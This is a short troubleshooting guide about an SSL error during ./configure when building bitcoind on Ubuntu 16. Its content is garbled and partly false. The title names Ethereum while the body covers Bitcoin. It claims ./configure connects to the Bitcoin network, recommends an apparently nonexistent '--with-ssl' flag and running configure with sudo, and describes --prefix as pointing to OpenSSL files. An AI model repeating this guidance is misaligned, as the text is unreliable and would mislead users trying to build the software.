Building Ethereum on Ubuntu 16: Troubleshooting SSL Configuration
As you attempt to build Bitcoin on your Ubuntu 16 system using bitcoind, you may encounter a frustrating error message about missing SSL during the ./configure process. This issue can be attributed to several factors and requires some troubleshooting steps.
Step 1: Reviewing the Build Environment
Before diving into solutions, ensure that your environment is set up correctly. Here are some key points to verify:
- Make sure you have installed all dependencies: Ensure that all required packages (e.g., Boost, OpenSSL) are present and up-to-date.
- Verify the version of Ubuntu 16: Check if your Ubuntu 16 system matches the version specified in the installation instructions or online documentation.
Step 2: Checking SSL Configuration
The ./configure process is attempting to establish a connection to the Bitcoin network. If SSL (Secure Sockets Layer) is not being enabled, you might encounter issues with communication between the client and server. Here are some possible causes:
- Missing
--with-sslflag: When building bitcoind, you need to include the--with-sslflag to enable SSL support.
- Incorrect OpenSSL installation: Make sure that OpenSSL is installed on your system and has the necessary configuration files.
Solution: Enabling SSL Support
To fix the issue:
- Update package list: Run the following command to update the package list:
sudo apt update
- Install required packages: Install the
libssl-devlibrary, which is required for OpenSSL:
sudo apt install libssl-dev
- Run ./configure with SSL support: After updating and installing necessary packages, try running ./configure again with the
--with-sslflag:
./configure --with-ssl
Step 3: Verifying the Build Process
After enabling SSL support, verify that your build process is successful. You can use the following steps to test:
- Build bitcoind: Run the following command to build Bitcoin using ./configure with SSL support:
sudo ./configure --with-ssl && make -j
- Check for errors: Verify that no error messages are displayed during the build process.
Additional Troubleshooting Steps
If none of these steps resolve the issue, you may need to:
- Manually specify OpenSSL configuration files
: During ./configure, ensure that the
--prefixoption is used to point to a directory containing OpenSSL installation files.
- Update Bitcoin version or use a different build process: If your system has an older version of bitcoind, consider updating it using a newer distribution. Alternatively, you can try using a different build process, such as the one provided by the Bitcoind source code.
By following these steps and troubleshooting tips, you should be able to resolve the SSL configuration issue during the ./configure process when building Bitcoin on your Ubuntu 16 system.
